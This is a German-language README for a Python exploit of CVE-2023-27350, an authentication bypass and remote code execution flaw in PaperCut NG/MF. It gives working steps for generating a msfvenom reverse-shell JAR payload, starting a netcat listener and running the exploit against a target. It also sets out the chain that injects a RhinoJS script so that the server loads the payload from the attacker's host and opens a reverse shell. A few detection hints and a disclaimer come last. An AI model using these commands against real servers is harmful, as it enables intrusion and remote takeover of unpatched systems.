Dieser Exploit basiert auf CVE-2023-27350 und wurde auf der Grundlage des ursprünglichen Exploits von horizon3ai und des Metasploit-Moduls erstellt.
Eigenständiger Python-Exploit für die kritische Authentication-Bypass- und Remote-Code-Execution-Schwachstelle in PaperCut NG/MF. CVSS 9.8.
CVE-2023-27350 betrifft PaperCut NG und MF in Versionen vor 20.1.7, 21.2.11 und 22.0.9. Der Fehler erlaubt es einem nicht authentifizierten Angreifer, auf den Endpunkt /app?service=page/SetupCompleted zuzugreifen – eine Einrichtungsseite, die nur während der Erstinstallation erreichbar sein soll – und ohne jegliche Anmeldedaten eine gültige administrative Sitzung zu erhalten.
Mit Admin-Zugriff kann der Angreifer den Druck-Scripting-Mechanismus von PaperCut aktivieren und beliebigen Code injizieren, der von der JVM des Servers ausgeführt wird, was zu vollständigem RCE im Kontext des Dienstbenutzers führt.
| Branch | Behobene Version |
|---|
| 20.x | 20.1.7 |
| 21.x | 21.2.11 |
| 22.x | 22.0.9 |
Versionen 18.x und älter erhielten keinen offiziellen Patch.
Dieser Exploit wurde auf Basis der Analyse von zwei öffentlichen Implementierungen entwickelt:
Runtime.exec() mit einem einfachen String, um Befehle auszuführenRuntime.exec(String) verarbeitet keine Shell-Metazeichen (>&, |, 0>&1), wodurch Reverse-Shell-Payloads wirkungslos sind. Das Skript verwendet außerdem eine fest codierte Drucker-ID (l1001) und prüft nur auf englischsprachige Erfolgsmeldungen, was bei nicht-englischen Instanzen fehlschlägtexploit/multi/http/papercut_ng_rceURLClassLoader in die JVM und vermeidet damit jede Shell-Abhängigkeitnc geeignetPython 3.x
requests
msfvenom (Teil des Metasploit-Frameworks)
nc (netcat)
pip install requests
1. JAR-Payload erzeugen
msfvenom -p java/shell_reverse_tcp \
LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
-f jar -o payload.jar
2. Listener starten
nc -lvnp <SHELL_PORT>
3. Exploit ausführen
python exploit.py \
-u http://<TARGET>:9191 \
-j payload.jar \
-lh <YOUR_IP> \
-lp <HTTP_PORT> \
-rp <SHELL_PORT>
Beispiel:
python exploit.py \
-u http://192.168.1.100:9191 \
-j payload.jar \
-lh 192.168.1.10 \
-lp 9090 \
-rp 4444
| Parameter | Beschreibung | Standard |
|---|---|---|
-u / --url | PaperCut-Basis-URL | erforderlich |
-j / --jar | Pfad zu payload.jar | erforderlich |
-lh / --lhost | Ihre IP (das Ziel verbindet sich hierher) | erforderlich |
-lp / --lport | HTTP-Port zum Bereitstellen des JAR | 9090 |
-rp / --rport | Reverse-Shell-Port | 4444 |
1. Auth-Bypass über /app?service=page/SetupCompleted
↓
2. Admin-JSESSIONID ohne Anmeldedaten erlangen
↓
3. [Template Printer] (l1001) auswählen
↓
4. RhinoJS-Skript in das Druck-Script-Feld injizieren
↓
5. Skript erstellt einen URLClassLoader, der auf unseren HTTP-Server zeigt
↓
6. PaperCut-JVM lädt payload.jar herunter und führt es aus
↓
7. Reverse Shell
/app?service=page/SetupCompleted ohne vorherige Sitzungprint-and-device.script.enabled und print.script.sandboxed (Versionen >= 19)URLClassLoader-Instanziierung mit einer externen URL in JVM-LogsDieser Exploit dient nur zu Bildungszwecken und zur autorisierten Nutzung (Penetrationstests, CTF, Laborumgebungen). Die unbefugte Nutzung gegen Systeme ohne ausdrückliche Erlaubnis ist illegal. Der Autor ist nicht verantwortlich für jeglichen Missbrauch.